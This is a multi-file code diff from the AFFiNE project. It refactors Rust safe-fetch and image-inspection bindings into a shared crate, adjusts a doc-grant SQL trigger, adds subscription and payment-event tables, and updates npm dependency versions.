fn affine_pro_error(response: &safefetch::SafeFetchResponse) -> Option<LicenseError> {
if (200..300).contains(&response.status) {
return None;
}
let body = String::from_utf8_lossy(&response.body).to_string();
if serde_json::from_str::<serde_json::Value>(&body).is_err() {
return Some(internal_affine_pro_error());
}
Some(LicenseError {
status: response.status,
body,
})
}
fn internal_affine_pro_error() -> LicenseError {
LicenseError {
status: 500,
body: serde_json::json!({
"status": 500,
"type": "internal_server_error",
"name": "internal_server_error",
"message": "Failed to contact with https://app.affine.pro",
"data": null,
})
.to_string(),
}
}
fn license_expired_error() -> LicenseError {
LicenseError {
status: 400,
body: serde_json::json!({
"status": 400,
"type": "bad_request",
"name": "license_expired",
"message": "License has expired.",
"data": null,
})
.to_string(),
}
}
fn parse_body<T: DeserializeOwned>(response: &safefetch::SafeFetchResponse) -> AnyResult<T> {
serde_json::from_slice(&response.body).context("invalid affine pro response")
}
fn parse_future_end_at(value: &serde_json::Value) -> AnyResult<f64> {
let millis = match value {
serde_json::Value::Number(number) => number.as_f64().context("invalid license expiration")?,
serde_json::Value::String(value) => value
.parse::<f64>()
.or_else(|_| chrono::DateTime::parse_from_rfc3339(value).map(|date| date.timestamp_millis() as f64))
.context("invalid license expiration")?,
_ => bail!("invalid license expiration"),
};
if !millis.is_finite() || millis <= now_millis() {
bail!("license_expired");
}
Ok(millis)
}
fn now_millis() -> f64 {
SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap_or_default()
.as_millis() as f64
}
fn affine_pro_ech_config() -> AnyResult<Vec<u8>> {
let cache = AFFINE_PRO_ECH_CONFIG.get_or_init(|| Mutex::new(None));
{
let cached = cache.lock().map_err(|_| anyhow::anyhow!("ech cache poisoned"))?;
if let Some(config) = cached.as_ref() {
return Ok(config.clone());
}
}
let config = safefetch::ech::cloudflare_https_ech_config_list(
AFFINE_PRO_HOST,
Duration::from_millis(ECH_DNS_QUERY_TIMEOUT_MS as u64),
)?;
let mut cached = cache.lock().map_err(|_| anyhow::anyhow!("ech cache poisoned"))?;
*cached = Some(config.clone());
Ok(config)
}
fn invalid_arg(error: impl ToString) -> Error {
Error::new(Status::InvalidArg, error.to_string())
}
#[derive(serde::Deserialize)]
struct LicensePayload {
plan: String,
recurring: String,
quantity: u32,
#[serde(rename = "endAt")]
end_at: serde_json::Value,
}
#[derive(serde::Deserialize)]
struct PortalPayload {
url: String,
}
+73 -504
View File
@@ -1,46 +1,37 @@
use std::{
collections::HashMap,
io::{Cursor, Read},
net::{IpAddr, SocketAddr, ToSocketAddrs},
time::Duration,
};
use std::collections::HashMap;
use ::image::{ImageFormat, ImageReader};
use anyhow::{Context, Result as AnyResult, bail};
use napi::{
Env, Error, Result, Status, Task,
bindgen_prelude::{AsyncTask, Buffer},
};
use napi_derive::napi;
use reqwest::{
Method,
blocking::{Client, Response},
header::{HeaderMap, HeaderName, HeaderValue, LOCATION},
};
use url::Url;
const DEFAULT_TIMEOUT_MS: u32 = 10_000;
const DEFAULT_MAX_REDIRECTS: u32 = 3;
const DEFAULT_MAX_BYTES: u32 = 10 * 1024 * 1024;
const MAX_IMAGE_DIMENSION: u32 = 16_384;
const MAX_IMAGE_PIXELS: u64 = 40_000_000;
#[napi(string_enum = "snake_case")]
#[derive(Clone, Copy, Debug)]
pub enum SafeFetchMethod {
Get,
Head,
Post,
Put,
Propfind,
Report,
}
#[napi(object)]
#[derive(Clone, Debug)]
pub struct SafeFetchRequest {
pub url: String,
pub method: Option<SafeFetchMethod>,
pub headers: Option<HashMap<String, String>>,
pub body: Option<Buffer>,
pub timeout_ms: Option<u32>,
pub max_redirects: Option<u32>,
pub max_bytes: Option<u32>,
pub allowed_headers: Option<Vec<String>>,
pub allowed_hosts: Option<Vec<String>>,
pub allow_http: Option<bool>,
pub allow_private_target_origin: Option<bool>,
pub enable_ech: Option<bool>,
pub ech_config_list: Option<Buffer>,
}
#[napi(object)]
@@ -111,36 +102,27 @@ pub struct AsyncRemoteMimeTypeTask {
request: RemoteMimeTypeRequest,
}
pub struct SafeFetchOutput {
status: u16,
final_url: String,
headers: HashMap<String, String>,
body: Vec<u8>,
}
struct SafeFetchParams {
url: String,
method: Option<SafeFetchMethod>,
headers: Option<HashMap<String, String>>,
timeout_ms: Option<u32>,
max_redirects: Option<u32>,
max_bytes: Option<u32>,
allow_private_origins: Option<Vec<String>>,
}
pub struct RemoteAttachmentFetchOutput {
final_url: String,
mime_type: String,
body: Vec<u8>,
impl From<SafeFetchMethod> for safefetch::SafeFetchMethod {
fn from(method: SafeFetchMethod) -> Self {
match method {
SafeFetchMethod::Get => safefetch::SafeFetchMethod::Get,
SafeFetchMethod::Head => safefetch::SafeFetchMethod::Head,
SafeFetchMethod::Post => safefetch::SafeFetchMethod::Post,
SafeFetchMethod::Put => safefetch::SafeFetchMethod::Put,
SafeFetchMethod::Propfind => safefetch::SafeFetchMethod::Propfind,
SafeFetchMethod::Report => safefetch::SafeFetchMethod::Report,
}
}
}
#[napi]
impl Task for AsyncSafeFetchTask {
type Output = SafeFetchOutput;
type Output = safefetch::SafeFetchResponse;
type JsValue = SafeFetchResponse;
fn compute(&mut self) -> Result<Self::Output> {
safe_fetch_inner(&self.request).map_err(|error| Error::new(Status::InvalidArg, error.to_string()))
let request = safe_fetch_request(&self.request).map_err(invalid_arg)?;
safefetch::safe_fetch(&request).map_err(invalid_arg)
}
fn resolve(&mut self, _: Env, output: Self::Output) -> Result<Self::JsValue> {
@@ -160,29 +142,44 @@ pub fn safe_fetch(request: SafeFetchRequest) -> AsyncTask<AsyncSafeFetchTask> {
#[napi]
pub fn assert_safe_url(request: AssertSafeUrlRequest) -> Result<()> {
assert_safe_url_inner(&request).map_err(|error| Error::new(Status::InvalidArg, error.to_string()))
safefetch::assert_safe_url(&request.url).map_err(invalid_arg)
}
#[napi]
pub fn inspect_image_for_proxy(input: Buffer, options: Option<ImageInspectionOptions>) -> Result<ImageInspection> {
inspect_image_for_proxy_inner(
let output = safefetch::inspect_image(
&input,
options.unwrap_or(ImageInspectionOptions {
image_inspection_options(options.unwrap_or(ImageInspectionOptions {
max_width: None,
max_height: None,
max_pixels: None,
}),
})),
)
.map_err(|error| Error::new(Status::InvalidArg, error.to_string()))
.map_err(invalid_arg)?;
Ok(ImageInspection {
mime_type: output.mime_type,
width: output.width,
height: output.height,
})
}
#[napi]
impl Task for AsyncRemoteAttachmentFetchTask {
type Output = RemoteAttachmentFetchOutput;
type Output = safefetch::RemoteAttachmentFetchResponse;
type JsValue = RemoteAttachmentFetchResponse;
fn compute(&mut self) -> Result<Self::Output> {
fetch_remote_attachment_inner(&self.request).map_err(|error| Error::new(Status::InvalidArg, error.to_string()))
safefetch::fetch_remote_attachment(&safefetch::RemoteAttachmentFetchRequest {
url: self.request.url.clone(),
timeout_ms: self.request.timeout_ms,
max_bytes: self.request.max_bytes,
allow_private_target_origin: self.request.allow_private_target_origin,
expected_content_type_prefix: self.request.expected_content_type_prefix.clone(),
max_image_width: self.request.max_image_width,
max_image_height: self.request.max_image_height,
max_image_pixels: self.request.max_image_pixels,
})
.map_err(invalid_arg)
}
fn resolve(&mut self, _: Env, output: Self::Output) -> Result<Self::JsValue> {
@@ -205,7 +202,10 @@ impl Task for AsyncRemoteMimeTypeTask {
type JsValue = String;
fn compute(&mut self) -> Result<Self::Output> {
Ok(infer_remote_mime_type_inner(&self.request))
Ok(safefetch::infer_remote_mime_type(&safefetch::RemoteMimeTypeRequest {
url: self.request.url.clone(),
timeout_ms: self.request.timeout_ms,
}))
}
fn resolve(&mut self, _: Env, output: Self::Output) -> Result<Self::JsValue> {
@@ -218,472 +218,41 @@ pub fn infer_remote_mime_type(request: RemoteMimeTypeRequest) -> AsyncTask<Async
AsyncTask::new(AsyncRemoteMimeTypeTask { request })
}
fn safe_fetch_inner(request: &SafeFetchRequest) -> AnyResult<SafeFetchOutput> {
safe_fetch_params_inner(&SafeFetchParams {
pub(crate) fn safe_fetch_request(request: &SafeFetchRequest) -> anyhow::Result<safefetch::SafeFetchRequest> {
Ok(safefetch::SafeFetchRequest {
url: request.url.clone(),
method: request.method,
method: request.method.map(Into::into),
headers: request.headers.clone(),
body: request.body.as_ref().map(|body| body.to_vec()),
timeout_ms: request.timeout_ms,
max_redirects: request.max_redirects,
max_bytes: request.max_bytes,
allow_private_origins: None,
allowed_headers: request.allowed_headers.clone(),
allowed_hosts: request.allowed_hosts.clone(),
allow_http: request.allow_http,
allow_private_target_origin: request.allow_private_target_origin,
ech_config_list: ech_config_list(request)?,
})
}
fn safe_fetch_params_inner(request: &SafeFetchParams) -> AnyResult<SafeFetchOutput> {
let timeout = Duration::from_millis(u64::from(request.timeout_ms.unwrap_or(DEFAULT_TIMEOUT_MS)));
let max_redirects = request.max_redirects.unwrap_or(DEFAULT_MAX_REDIRECTS);
let max_bytes = usize::try_from(request.max_bytes.unwrap_or(DEFAULT_MAX_BYTES)).context("invalid maxBytes")?;
let method = request.method.unwrap_or(SafeFetchMethod::Get);
let mut current = parse_safe_url(&request.url)?;
let headers = build_headers(request.headers.as_ref())?;
for redirect_count in 0..=max_redirects {
let addrs = resolve_safe_socket_addrs(&current, request.allow_private_origins.as_deref())?;
let client = build_pinned_client(&current, &addrs, timeout)?;
let response = send_request(&client, method, current.clone(), headers.clone())?;
if response.status().is_redirection() {
if redirect_count >= max_redirects {
bail!("too_many_redirects");
}
let Some(location) = response.headers().get(LOCATION) else {
return response_to_output(response, current, max_bytes, method);
};
let location = location.to_str().context("invalid redirect location")?;
current = parse_safe_url(current.join(location).context("invalid redirect location")?.as_str())?;
continue;
}
return response_to_output(response, current, max_bytes, method);
fn image_inspection_options(options: ImageInspectionOptions) -> safefetch::ImageInspectionOptions {
safefetch::ImageInspectionOptions {
max_width: options.max_width,
max_height: options.max_height,
max_pixels: options.max_pixels,
}
bail!("too_many_redirects")
}
fn fetch_remote_attachment_inner(request: &RemoteAttachmentFetchRequest) -> AnyResult<RemoteAttachmentFetchOutput> {
let allow_private_origins =
private_target_origin_allowlist(&request.url, request.allow_private_target_origin.unwrap_or(false))?;
let response = safe_fetch_params_inner(&SafeFetchParams {
url: request.url.clone(),
method: Some(SafeFetchMethod::Get),
headers: None,
timeout_ms: request.timeout_ms,
max_redirects: Some(DEFAULT_MAX_REDIRECTS),
max_bytes: Some(request.max_bytes),
allow_private_origins,
})?;
if !(200..300).contains(&response.status) {
bail!("fetch_failed_status: {}", response.status);
}
let mime_type = normalize_mime_type(response.headers.get("content-type"));
if let Some(expected) = request.expected_content_type_prefix.as_deref() {
if !mime_type.starts_with(expected) {
bail!("content_type_mismatch");
}
if expected.starts_with("image/") {
inspect_image_for_proxy_inner(
&response.body,
ImageInspectionOptions {
max_width: request.max_image_width,
max_height: request.max_image_height,
max_pixels: request.max_image_pixels,
},
)?;
}
}
Ok(RemoteAttachmentFetchOutput {
final_url: response.final_url,
mime_type,
body: response.body,
})
}
fn infer_remote_mime_type_inner(request: &RemoteMimeTypeRequest) -> String {
let Ok(url) = Url::parse(&request.url) else {
return "application/octet-stream".to_string();
};
if let Some(mime_type) = infer_mime_type_from_extension(&url) {
return mime_type.to_string();
}
let Ok(response) = safe_fetch_params_inner(&SafeFetchParams {
url: request.url.clone(),
method: Some(SafeFetchMethod::Head),
headers: None,
timeout_ms: request.timeout_ms,
max_redirects: Some(DEFAULT_MAX_REDIRECTS),
max_bytes: Some(0),
allow_private_origins: None,
}) else {
return "application/octet-stream".to_string();
};
normalize_mime_type(response.headers.get("content-type"))
}
fn private_target_origin_allowlist(raw_url: &str, allow_private_target_origin: bool) -> AnyResult<Option<Vec<String>>> {
if !allow_private_target_origin {
fn ech_config_list(request: &SafeFetchRequest) -> anyhow::Result<Option<Vec<u8>>> {
if !request.enable_ech.unwrap_or(false) {
return Ok(None);
}
Ok(Some(vec![parse_safe_url(raw_url)?.origin().ascii_serialization()]))
}
fn normalize_mime_type(value: Option<&String>) -> String {
value
.and_then(|value| value.split(';').next())
.map(str::trim)
.filter(|value| !value.is_empty())
.unwrap_or("application/octet-stream")
.to_string()
}
fn infer_mime_type_from_extension(url: &Url) -> Option<&'static str> {
let extension = url.path_segments()?.next_back()?.rsplit_once('.')?.1;
match extension.to_ascii_lowercase().as_str() {
"pdf" => Some("application/pdf"),
"mp3" => Some("audio/mpeg"),
"opus" => Some("audio/opus"),
"ogg" => Some("audio/ogg"),
"aac" => Some("audio/aac"),
"m4a" => Some("audio/aac"),
"flac" => Some("audio/flac"),
"ogv" => Some("video/ogg"),
"wav" => Some("audio/wav"),
"png" => Some("image/png"),
"jpeg" | "jpg" => Some("image/jpeg"),
"webp" => Some("image/webp"),
"txt" | "md" => Some("text/plain"),
"mov" => Some("video/mov"),
"mpeg" => Some("video/mpeg"),
"mp4" => Some("video/mp4"),
"avi" => Some("video/avi"),
"wmv" => Some("video/wmv"),
"flv" => Some("video/flv"),
_ => None,
}
}
fn assert_safe_url_inner(request: &AssertSafeUrlRequest) -> AnyResult<()> {
let url = parse_safe_url(&request.url)?;
resolve_safe_socket_addrs(&url, None)?;
Ok(())
}
fn parse_safe_url(raw: &str) -> AnyResult<Url> {
let url = Url::parse(raw).context("invalid_url")?;
match url.scheme() {
"http" | "https" => {}
_ => bail!("disallowed_protocol"),
}
if !url.username().is_empty() || url.password().is_some() {
bail!("url_has_credentials");
}
if url.host_str().is_none() {
bail!("blocked_hostname");
}
Ok(url)
}
fn resolve_safe_socket_addrs(url: &Url, allow_private_origins: Option<&[String]>) -> AnyResult<Vec<SocketAddr>> {
let host = url.host_str().context("blocked_hostname")?;
let port = url.port_or_known_default().context("blocked_hostname")?;
let origin = url.origin().ascii_serialization();
let allow_private = allow_private_origins
.map(|origins| origins.iter().any(|allowed| allowed == &origin))
.unwrap_or(false);
let addrs: Vec<SocketAddr> = (host, port)
.to_socket_addrs()
.context("unresolvable_hostname")?
.collect();
if addrs.is_empty() {
bail!("unresolvable_hostname");
}
for addr in &addrs {
if is_blocked_ip(addr.ip()) && !allow_private {
bail!("blocked_ip");
}
}
Ok(addrs)
}
fn build_pinned_client(url: &Url, addrs: &[SocketAddr], timeout: Duration) -> AnyResult<Client> {
let host = url.host_str().context("blocked_hostname")?;
Client::builder()
.timeout(timeout)
.no_proxy()
.redirect(reqwest::redirect::Policy::none())
.tls_backend_preconfigured(webpki_tls_config()?)
.resolve_to_addrs(host, addrs)
.build()
.context("failed to build http client")
}
fn webpki_tls_config() -> AnyResult<rustls::ClientConfig> {
let root_store = rustls::RootCertStore {
roots: webpki_roots::TLS_SERVER_ROOTS.to_vec(),
let Some(config_list) = request.ech_config_list.as_ref() else {
anyhow::bail!("ech_config_required");
};
Ok(
rustls::ClientConfig::builder_with_provider(rustls::crypto::aws_lc_rs::default_provider().into())
.with_safe_default_protocol_versions()
.context("failed to build tls protocol config")?
.with_root_certificates(root_store)
.with_no_client_auth(),
)
Ok(Some(config_list.to_vec()))
}
fn build_headers(headers: Option<&HashMap<String, String>>) -> AnyResult<HeaderMap> {
let mut out = HeaderMap::new();
let Some(headers) = headers else {
return Ok(out);
};
for (name, value) in headers {
let lower = name.to_ascii_lowercase();
if !(lower.starts_with("sec-") || lower.starts_with("accept") || lower == "user-agent") {
continue;
}
out.insert(
HeaderName::from_bytes(name.as_bytes()).context("invalid header name")?,
HeaderValue::from_str(value).context("invalid header value")?,
);
}
Ok(out)
}
fn send_request(client: &Client, method: SafeFetchMethod, url: Url, headers: HeaderMap) -> AnyResult<Response> {
let method = match method {
SafeFetchMethod::Get => Method::GET,
SafeFetchMethod::Head => Method::HEAD,
};
client
.request(method, url)
.headers(headers)
.send()
.context("failed to fetch url")
}
fn response_to_output(
mut response: Response,
url: Url,
max_bytes: usize,
method: SafeFetchMethod,
) -> AnyResult<SafeFetchOutput> {
let status = response.status().as_u16();
let headers = response_headers(response.headers());
if matches!(method, SafeFetchMethod::Head) {
return Ok(SafeFetchOutput {
status,
final_url: url.to_string(),
headers,
body: Vec::new(),
});
}
let mut body = Vec::new();
if let Some(len) = response.content_length()
&& len > max_bytes as u64
{
bail!("response_too_large");
}
response
.by_ref()
.take(u64::try_from(max_bytes).unwrap_or(u64::MAX) + 1)
.read_to_end(&mut body)
.context("failed to read response")?;
if body.len() > max_bytes {
bail!("response_too_large");
}
Ok(SafeFetchOutput {
status,
final_url: url.to_string(),
headers,
body,
})
}
fn response_headers(headers: &HeaderMap) -> HashMap<String, String> {
headers
.iter()
.filter_map(|(name, value)| {
value
.to_str()
.ok()
.map(|value| (name.as_str().to_string(), value.to_string()))
})
.collect()
}
fn is_blocked_ip(ip: IpAddr) -> bool {
match ip {
IpAddr::V4(ip) => {
ip.is_private()
|| ip.is_loopback()
|| ip.is_link_local()
|| ip.is_broadcast()
|| ip.is_multicast()
|| ip.is_documentation()
|| ip.octets()[0] == 0
|| ip.octets()[0] >= 224
|| ip.octets()[0] == 100 && (64..=127).contains(&ip.octets()[1])
|| ip.octets()[0] == 169 && ip.octets()[1] == 254
|| ip.octets()[0] == 198 && (18..=19).contains(&ip.octets()[1])
|| ip.octets()[0] == 192 && ip.octets()[1] == 0 && ip.octets()[2] == 0
}
IpAddr::V6(ip) => {
if let Some(v4) = ip.to_ipv4_mapped() {
return is_blocked_ip(IpAddr::V4(v4));
}
if let Some(v4) = extract_6to4_ipv4(ip).or_else(|| extract_teredo_client_ipv4(ip)) {
return is_blocked_ip(IpAddr::V4(v4));
}
(ip.segments()[0] & 0xe000 != 0x2000)
|| ip.is_loopback()
|| ip.is_unspecified()
|| ip.is_multicast()
|| (ip.segments()[0] & 0xfe00 == 0xfc00)
|| (ip.segments()[0] & 0xffc0 == 0xfe80)
|| (ip.segments()[0] == 0x2001 && ip.segments()[1] == 0x0db8)
}
}
}
fn extract_6to4_ipv4(ip: std::net::Ipv6Addr) -> Option<std::net::Ipv4Addr> {
let segments = ip.segments();
if segments[0] != 0x2002 {
return None;
}
Some(std::net::Ipv4Addr::new(
(segments[1] >> 8) as u8,
segments[1] as u8,
(segments[2] >> 8) as u8,
segments[2] as u8,
))
}
fn extract_teredo_client_ipv4(ip: std::net::Ipv6Addr) -> Option<std::net::Ipv4Addr> {
let segments = ip.segments();
if segments[0] != 0x2001 || segments[1] != 0 {
return None;
}
Some(std::net::Ipv4Addr::new(
(!(segments[6] >> 8)) as u8,
(!segments[6]) as u8,
(!(segments[7] >> 8)) as u8,
(!segments[7]) as u8,
))
}
fn inspect_image_for_proxy_inner(input: &[u8], options: ImageInspectionOptions) -> AnyResult<ImageInspection> {
let inspection = parse_image_header(input).context("failed to decode image")?;
validate_image_dimensions(&inspection, options)?;
Ok(inspection)
}
fn validate_image_dimensions(image: &ImageInspection, options: ImageInspectionOptions) -> AnyResult<()> {
let max_width = options.max_width.unwrap_or(MAX_IMAGE_DIMENSION);
let max_height = options.max_height.unwrap_or(MAX_IMAGE_DIMENSION);
let max_pixels = u64::from(options.max_pixels.unwrap_or(MAX_IMAGE_PIXELS as u32));
if image.width == 0 || image.height == 0 {
bail!("failed to decode image");
}
if image.width > max_width || image.height > max_height {
bail!("image dimensions exceed limit");
}
if u64::from(image.width) * u64::from(image.height) > max_pixels {
bail!("image pixel count exceeds limit");
}
Ok(())
}
fn parse_image_header(input: &[u8]) -> AnyResult<ImageInspection> {
let format = ::image::guess_format(input).context("unsupported image format")?;
let mime_type = image_mime_type(format).context("unsupported image format")?;
let (width, height) = ImageReader::with_format(Cursor::new(input), format)
.into_dimensions()
.context("failed to decode image")?;
Ok(ImageInspection {
mime_type: mime_type.to_string(),
width,
height,
})
}
fn image_mime_type(format: ImageFormat) -> Option<&'static str> {
match format {
ImageFormat::Png => Some("image/png"),
ImageFormat::Jpeg => Some("image/jpeg"),
ImageFormat::Gif => Some("image/gif"),
ImageFormat::WebP => Some("image/webp"),
ImageFormat::Bmp => Some("image/bmp"),
_ => None,
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn blocks_private_ips() {
assert!(is_blocked_ip("127.0.0.1".parse().unwrap()));
assert!(is_blocked_ip("10.0.0.1".parse().unwrap()));
assert!(is_blocked_ip("169.254.169.254".parse().unwrap()));
assert!(is_blocked_ip("::1".parse().unwrap()));
assert!(is_blocked_ip("::ffff:127.0.0.1".parse().unwrap()));
assert!(is_blocked_ip("2002:7f00:0001::1".parse().unwrap()));
assert!(is_blocked_ip("2002:c0a8:0001::1".parse().unwrap()));
assert!(is_blocked_ip(
"2001:0000:4136:e378:8000:63bf:807f:fffe".parse().unwrap()
));
assert!(!is_blocked_ip("8.8.8.8".parse().unwrap()));
assert!(!is_blocked_ip("2002:0808:0808::1".parse().unwrap()));
}
#[test]
fn builds_https_client_with_embedded_roots() {
let url = Url::parse("https://example.com/").unwrap();
let addrs = ["93.184.216.34:443".parse().unwrap()];
build_pinned_client(&url, &addrs, Duration::from_secs(1)).unwrap();
}
#[test]
fn inspects_png_dimensions_without_decode() {
let png = base64_simd::STANDARD
.decode_to_vec(b"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+jfJ8AAAAASUVORK5CYII=")
.unwrap();
let inspected = inspect_image_for_proxy_inner(
&png,
ImageInspectionOptions {
max_width: None,
max_height: None,
max_pixels: None,
},
)
.unwrap();
assert_eq!(inspected.mime_type, "image/png");
assert_eq!(inspected.width, 1);
assert_eq!(inspected.height, 1);
}
#[test]
fn rejects_oversized_dimensions() {
let png = [
b"\x89PNG\r\n\x1a\n".as_slice(),
&[0, 0, 0, 13],
b"IHDR".as_slice(),
&100_000u32.to_be_bytes(),
&100_000u32.to_be_bytes(),
&[8, 6, 0, 0, 0],
]
.concat();
assert!(
inspect_image_for_proxy_inner(
&png,
ImageInspectionOptions {
max_width: None,
max_height: None,
max_pixels: None,
}
)
.is_err()
);
}
fn invalid_arg(error: impl ToString) -> Error {
Error::new(Status::InvalidArg, error.to_string())
}
@@ -637,6 +637,18 @@ BEGIN
RAISE EXCEPTION 'Cannot project unknown doc role % for %.% user %', NEW.type, NEW.workspace_id, NEW.page_id, NEW.user_id;
END IF;
IF projected_role = 'owner' AND EXISTS (
SELECT 1
FROM doc_grants
WHERE workspace_id = NEW.workspace_id
AND doc_id = NEW.page_id
AND principal_type = 'user'
AND role = 'owner'
AND principal_id <> NEW.user_id
) THEN
RETURN NEW;
END IF;
INSERT INTO doc_grants (
workspace_id,
doc_id,
@@ -0,0 +1,103 @@
-- CreateTable
CREATE TABLE "provider_subscriptions" (
"id" VARCHAR NOT NULL,
"provider" "Provider" NOT NULL,
"target_type" TEXT NOT NULL,
"target_id" VARCHAR NOT NULL,
"plan" VARCHAR(20) NOT NULL,
"recurring" VARCHAR(20),
"status" VARCHAR(20) NOT NULL,
"external_customer_id" VARCHAR,
"external_subscription_id" VARCHAR,
"external_product_id" VARCHAR,
"external_price_id" VARCHAR,
"iap_store" "IapStore",
"external_ref" VARCHAR,
"currency" VARCHAR(3),
"amount" INTEGER,
"quantity" INTEGER,
"period_start" TIMESTAMPTZ(3),
"period_end" TIMESTAMPTZ(3),
"trial_start" TIMESTAMPTZ(3),
"trial_end" TIMESTAMPTZ(3),
"canceled_at" TIMESTAMPTZ(3),
"metadata" JSONB NOT NULL DEFAULT '{}',
"created_at" TIMESTAMPTZ(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" TIMESTAMPTZ(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
CONSTRAINT "provider_subscriptions_pkey" PRIMARY KEY ("id"),
CONSTRAINT "provider_subscriptions_target_type_check" CHECK ("target_type" IN ('user', 'workspace', 'instance')),
CONSTRAINT "provider_subscriptions_stripe_identity_check" CHECK ("provider" <> 'stripe' OR "external_subscription_id" IS NOT NULL),
CONSTRAINT "provider_subscriptions_revenuecat_identity_check" CHECK ("provider" <> 'revenuecat' OR ("iap_store" IS NOT NULL AND "external_ref" IS NOT NULL AND "external_product_id" IS NOT NULL AND "external_customer_id" IS NOT NULL))
);
-- CreateTable
CREATE TABLE "payment_events" (
"id" VARCHAR NOT NULL,
"provider" "Provider" NOT NULL,
"event_type" VARCHAR NOT NULL,
"external_event_id" VARCHAR NOT NULL,
"target_type" TEXT,
"target_id" VARCHAR,
"external_invoice_id" VARCHAR,
"external_payment_id" VARCHAR,
"plan" VARCHAR(20),
"amount" INTEGER,
"currency" VARCHAR(3),
"occurred_at" TIMESTAMPTZ(3),
"processing_status" VARCHAR(20) NOT NULL DEFAULT 'pending',
"processing_attempts" INTEGER NOT NULL DEFAULT 0,
"processed_at" TIMESTAMPTZ(3),
"last_error" TEXT,
"metadata" JSONB NOT NULL DEFAULT '{}',
"created_at" TIMESTAMPTZ(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" TIMESTAMPTZ(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
CONSTRAINT "payment_events_pkey" PRIMARY KEY ("id"),
CONSTRAINT "payment_events_target_type_check" CHECK ("target_type" IS NULL OR "target_type" IN ('user', 'workspace', 'instance')),
CONSTRAINT "payment_events_processing_status_check" CHECK ("processing_status" IN ('pending', 'processing', 'processed', 'failed'))
);
-- CreateTable
CREATE TABLE "subscription_trial_usages" (
"id" VARCHAR NOT NULL,
"target_type" TEXT NOT NULL,
"target_id" VARCHAR NOT NULL,
"plan" VARCHAR(20) NOT NULL,
"provider" "Provider" NOT NULL,
"external_ref" VARCHAR,
"first_used_at" TIMESTAMPTZ(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"metadata" JSONB NOT NULL DEFAULT '{}',
"created_at" TIMESTAMPTZ(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"updated_at" TIMESTAMPTZ(3) NOT NULL DEFAULT CURRENT_TIMESTAMP,
CONSTRAINT "subscription_trial_usages_pkey" PRIMARY KEY ("id"),
CONSTRAINT "subscription_trial_usages_target_type_check" CHECK ("target_type" IN ('user', 'workspace', 'instance'))
);
-- CreateIndex
CREATE INDEX "provider_subscriptions_target_type_target_id_plan_status_idx" ON "provider_subscriptions"("target_type", "target_id", "plan", "status");
-- CreateIndex
CREATE INDEX "provider_subscriptions_provider_external_customer_id_idx" ON "provider_subscriptions"("provider", "external_customer_id");
-- CreateIndex
CREATE UNIQUE INDEX "provider_subscriptions_provider_external_subscription_id_key" ON "provider_subscriptions"("provider", "external_subscription_id");
-- CreateIndex
CREATE UNIQUE INDEX "provider_subscriptions_revenuecat_external_identity_key" ON "provider_subscriptions"("provider", "iap_store", "external_ref", "external_product_id", "external_customer_id");
-- CreateIndex
CREATE UNIQUE INDEX "payment_events_provider_external_event_id_key" ON "payment_events"("provider", "external_event_id");
-- CreateIndex
CREATE INDEX "payment_events_processing_status_updated_at_idx" ON "payment_events"("processing_status", "updated_at");
-- CreateIndex
CREATE INDEX "payment_events_target_type_target_id_idx" ON "payment_events"("target_type", "target_id");
-- CreateIndex
CREATE UNIQUE INDEX "subscription_trial_usages_target_type_target_id_plan_key" ON "subscription_trial_usages"("target_type", "target_id", "plan");
-- CreateIndex
CREATE INDEX "subscription_trial_usages_provider_external_ref_idx" ON "subscription_trial_usages"("provider", "external_ref");
+20 -19
View File
@@ -45,27 +45,28 @@
"@node-rs/argon2": "^2.0.2",
"@node-rs/crc32": "^1.10.6",
"@opentelemetry/api": "^1.9.0",
"@opentelemetry/core": "^2.7.1",
"@opentelemetry/exporter-prometheus": "^0.218.0",
"@opentelemetry/exporter-zipkin": "^2.7.1",
"@opentelemetry/host-metrics": "^0.38.3",
"@opentelemetry/instrumentation": "^0.218.0",
"@opentelemetry/instrumentation-graphql": "^0.66.0",
"@opentelemetry/instrumentation-http": "^0.218.0",
"@opentelemetry/instrumentation-ioredis": "^0.66.0",
"@opentelemetry/instrumentation-nestjs-core": "^0.64.0",
"@opentelemetry/instrumentation-socket.io": "^0.65.0",
"@opentelemetry/resources": "^2.7.1",
"@opentelemetry/sdk-metrics": "^2.7.1",
"@opentelemetry/sdk-node": "^0.218.0",
"@opentelemetry/sdk-trace-node": "^2.7.1",
"@opentelemetry/semantic-conventions": "^1.38.0",
"@opentelemetry/core": "^2.8.0",
"@opentelemetry/exporter-prometheus": "^0.219.0",
"@opentelemetry/exporter-zipkin": "^2.8.0",
"@opentelemetry/host-metrics": "^0.39.0",
"@opentelemetry/instrumentation": "^0.219.0",
"@opentelemetry/instrumentation-graphql": "^0.67.0",
"@opentelemetry/instrumentation-http": "^0.219.0",
"@opentelemetry/instrumentation-ioredis": "^0.67.0",
"@opentelemetry/instrumentation-nestjs-core": "^0.65.0",
"@opentelemetry/instrumentation-socket.io": "^0.66.0",
"@opentelemetry/resources": "^2.8.0",
"@opentelemetry/sdk-metrics": "^2.8.0",
"@opentelemetry/sdk-node": "^0.219.0",
"@opentelemetry/sdk-trace-base": "^2.8.0",
"@opentelemetry/sdk-trace-node": "^2.8.0",
"@opentelemetry/semantic-conventions": "^1.41.1",
"@prisma/client": "^6.6.0",
"@prisma/instrumentation": "^6.7.0",
"@queuedash/api": "^3.16.0",
"@react-email/components": "^0.5.7",
"@socket.io/redis-adapter": "^8.3.0",
"bullmq": "5.77.6",
"bullmq": "^5.79.0",
"commander": "^13.1.0",
"cookie-parser": "^1.4.7",
"cross-env": "^10.1.0",
@@ -83,7 +84,7 @@
"html-validate": "^9.0.0",
"htmlrewriter": "^0.0.12",
"http-errors": "^2.0.0",
"ioredis": "^5.8.2",
"ioredis": "^5.11.1",
"is-mobile": "^5.0.0",
"jose": "^6.1.3",
"jsonwebtoken": "^9.0.3",
@@ -92,7 +93,7 @@
"nanoid": "^5.1.6",
"nest-winston": "^1.9.7",
"nestjs-cls": "^6.0.0",
"nodemailer": "^8.0.4",
"nodemailer": "^9.0.0",
"on-headers": "^1.1.0",
"piscina": "^5.1.4",
